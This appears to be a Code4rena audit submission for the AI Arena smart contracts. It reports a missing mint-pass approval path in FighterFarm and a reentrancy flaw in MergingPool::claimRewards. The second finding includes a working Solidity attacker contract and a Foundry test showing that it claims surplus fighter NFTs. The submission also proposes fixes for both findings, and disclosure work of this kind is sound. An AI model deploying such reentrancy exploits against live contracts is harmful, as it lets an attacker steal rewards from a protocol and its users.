AI Arena - bhilare_'s results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L224-L262

Vulnerability details

Impact

Users claim mint pass from AAMintPaas contract, then they are meant to redeem the mint pass from calling FighterFarm::redeemMintPass function.

This function burns multiple mint passes in exchange for fighter NFTs as you can see below :

/// @notice Burns multiple mint passes in exchange for fighter NFTs.
    /// @dev This function requires the length of all input arrays to be equal.
    /// @dev Each input array must correspond to the same index, i.e., the first element in each 
    /// array belongs to the same mint pass, and so on.
    /// @param mintpassIdsToBurn Array of mint pass IDs to be burned for each fighter to be minted.
    /// @param mintPassDnas Array of DNA strings of the mint passes to be minted as fighters.
    /// @param fighterTypes Array of fighter types corresponding to the fighters being minted.
    /// @param modelHashes Array of ML model hashes corresponding to the fighters being minted. 
    /// @param modelTypes Array of ML model types corresponding to the fighters being minted.
    function redeemMintPass(
        uint256[] calldata mintpassIdsToBurn,
        uint8[] calldata fighterTypes,
        uint8[] calldata iconsTypes,
        string[] calldata mintPassDnas,
        string[] calldata modelHashes,
        string[] calldata modelTypes
    ) 
        external 
    {
        require(
            mintpassIdsToBurn.length == mintPassDnas.length && 
            mintPassDnas.length == fighterTypes.length && 
            fighterTypes.length == modelHashes.length &&
            modelHashes.length == modelTypes.length
        );
        for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {
            require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i]));
            _mintpassInstance.burn(mintpassIdsToBurn[i]);
            _createNewFighter(
                msg.sender, 
                uint256(keccak256(abi.encode(mintPassDnas[i]))), 
                modelHashes[i], 
                modelTypes[i],
                fighterTypes[i],
                iconsTypes[i],
                [uint256(100), uint256(100)]
            );
        }
    }

But since there is not an explicitly mentioned function made in which user is providing approval to the FighterFarm contract to burn the mint paases

This will always revert with ERC721: approve caller is not token owner nor approved for all, when :

_mintpassInstance.burn(mintpassIdsToBurn[i]); this call will be made.

Since whenever a mintPass will be claimed, the FighterFarm contract won't be an approved address for burning these mint passes.

There should be an external function which is specifically used for users to provide approval for the FighterFarm contract, so that while interacting with the frontend, the users would be able to interact with this function. Since user won't be able to call ERC721 approve function directly, until unless they have a contract which interacts with the AAMintPass contract's instance to call directly the ERC721's approve function.

Since this will always revert and users most likely until unless they are interacting with protocol using a contract, will not able to provide approval for burning because of lack of an external function, hence categorized the severity as HIGH.

Proof of Concept

For PoC:

There's already a test case present in FighterFarm.t.sol, named as testRedeemMintPass which's github link is provided below:

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/test/FighterFarm.t.sol#L240-L281

Only thing is that you can see at Line-271:

    `_mintPassContract.approve(address(_fighterFarmContract), 1);`

Here in the test case approve function of ERC721 is being called, to provide approval to burn mint passes.

But the users won't be directly able to call this approve function, since there's no external function involved, where users can interact with it from the frontend part to provide approval.

Tools Used

Manual reviewing

Recommended Mitigation Steps

There should be an external function made, which can be called by users to provide approval to the FighterFarm contract to burn the mint passes.

And since there can be multiple mint passes. The function should call the setApprovalForAll function of ERC721, so that FighterFarm contract can burn multiple mintPasses.

The following implementation of function can be added in AAMintPass.sol contract.

function setApproval(bool approval) external {
        super.setApprovalForAll(fighterFarmContractAddress , approval);
    }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L134-L167 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L307-L332 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L476-L531

Vulnerability details

Impact

A malicious user can implement a re-entrancy attack while claiming rewards from merging pool and can claim more rewards than intended/deserved.

As for each round, each winner selected should only get one reward/fighter, but can end up claiming more, in which the number of rewards the user will claim will increase as number of rounds increases if claimed maliciously.

In MergingPool::pickWinner function, winners are being selected and stored for each round in a mapping of roundId to list of addresses.

Where after being selected as a winner, winners can claim their rewards from calling MergingPool::claimRewards function , and accordingly fighters are minted to the winners address for each round.

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L134-L167

We can see at L-154, FighterFarm::mintFromMergingPool is being called.

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L307C5-L332C1

Then in FighterFarm::mintFromMergingPool for creating the fighter _createNewFighter function is called internally.

Where in _createNewFighter function at the end _safeMint of ERC721 is being called.

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L476C1-L531C6

Now the issue can be caused because of _checkOnERC721Received which is being done after _mint function is executed.

    function _safeMint(
        address to,
        uint256 tokenId,
        bytes memory data
    ) internal virtual {
        _mint(to, tokenId);
        require(
            _checkOnERC721Received(address(0), to, tokenId, data),
            "ERC721: transfer to non ERC721Receiver implementer"
        );
    }

A malicious user can create a malicious contract and in that he/she can implement _checkOnERC721Received where inside of it can call MergingPool::claimRewards function again, which will lead to re-enter the function again and claiming more fighters than deserved

Proof of Concept

For PoC:

Add this Attack.sol contract in the src folder :

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import { MergingPool } from "./MergingPool.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";

contract Attack is ERC721Holder
{
    MergingPool mergingPoolContractInstance;

    constructor(address gameItemsContractAddress) 
    {
        mergingPoolContractInstance = MergingPool(gameItemsContractAddress);
    }

    function claimm() public 
    {
         string[] memory _modelURIs = new string[](3);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[2] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory _modelTypes = new string[](3);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";
        _modelTypes[2] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](3);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(80);
        _customAttributes[1][0] = uint256(1);
        _customAttributes[1][1] = uint256(80);
        _customAttributes[2][0] = uint256(1);
        _customAttributes[2][1] = uint256(80);
        mergingPoolContractInstance.claimRewards(_modelURIs, _modelTypes, _customAttributes);
    }
    function onERC721Received(
        address _operator,  
        address _from,  
        uint256 _tokenId,  
        bytes calldata _data
    ) public override returns(bytes4) {
        claimm();
        return this.onERC721Received.selector;
    }

}

Then in test folder in MergingPool.t.sol file

• Add this in contract instances Attack internal _attackContract

-Add this in setUp() function _attackContract = new Attack(address(_mergingPoolContract));

-Then add this test function :

    function testReentrancyAttack() public 
{
        // Lets say _ownerAddress and _attackContract are selected as winners for 3 rounds.
        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(address(_attackContract));
        assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);
        assertEq(_fighterFarmContract.ownerOf(1), address(_attackContract));
        uint256[] memory _winners = new uint256[](2);
        _winners[0] = 0;
        _winners[1] = 1;
        // winners of roundId 0 are picked
        _mergingPoolContract.pickWinner(_winners);

        assertEq(_mergingPoolContract.isSelectionComplete(0), true);

        assertEq(_mergingPoolContract.winnerAddresses(0, 1) == address(_attackContract), true);
        string[] memory _modelURIs = new string[](3);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[2] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory _modelTypes = new string[](3);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";
        _modelTypes[2] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](3);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(80);
        _customAttributes[1][0] = uint256(1);
        _customAttributes[1][1] = uint256(80);
        _customAttributes[2][0] = uint256(1);
        _customAttributes[2][1] = uint256(80);
        
        // winners of roundId 1 are picked
        _mergingPoolContract.pickWinner(_winners);

        // winners of roundId 2 are picked
        _mergingPoolContract.pickWinner(_winners);

        // Before claiming attacker should have only 1 fighter
        assertEq(_fighterFarmContract.balanceOf(address(_attackContract)),1);

        // Now attacker claims the rewards for 2 rounds.
        vm.prank(address(_attackContract));
        _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);

        // After claiming for 3 rounds, attacker should have in total 4 fighters.
        // But ends up having 7 fighters, i.e 3 more extra fighters
        assertEq(_fighterFarmContract.balanceOf(address(_attackContract)),7);
    }

• Then you can run this test file with following command: forge test --mt testReentrancyAttack

• And you get following log:

$ forge test --mt testReentrancyAttack [⠆] Compiling... No files changed, compilation skipped Running 1 test for test/MergingPool.t.sol:MergingPoolTest [PASS] testReentrancyAttack() (gas: 3486389) Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.50ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)`

Here we can see the test passed and the attacker ended up claiming 3 more fighters than intended.

Now this test was done only for claiming 3 rounds rewards.

But if attacker wins for more rounds, lets say 4 rounds, then the attacker can end up having in total of 11 fighters at the end i.e. 6 fighters extra , but since MAX_FIGHTERS_ALLOWED are only 10 , hence while testing this it was reverting.

But if in future , MAX_FIGHTERS_ALLOWED is increased , then for more rounds, more fighters/rewards can be claimed, where there numbers will only increase.

Like here in this case from claiming rewards, if we exclude the no. of fighters attacker had before claiming rewards, and just consider number of fighter attacker can get from rewards...

For : 2 rounds - 3 fighters (1 extra) 3 rounds - 6 fighters (3 extra) 4 rounds - 10 fighters(6 extra) 5 rounds - 15 fighters(10 extra)

and the number would just go on increasing.

Tools Used

Manual reviewing, Foundry

Recommended Mitigation Steps

Add non-Reentrant modifier in the MergingPool::claimRewards(), this would mitigate this vulnerability of re-entrancy attack.

Assessed type

Reentrancy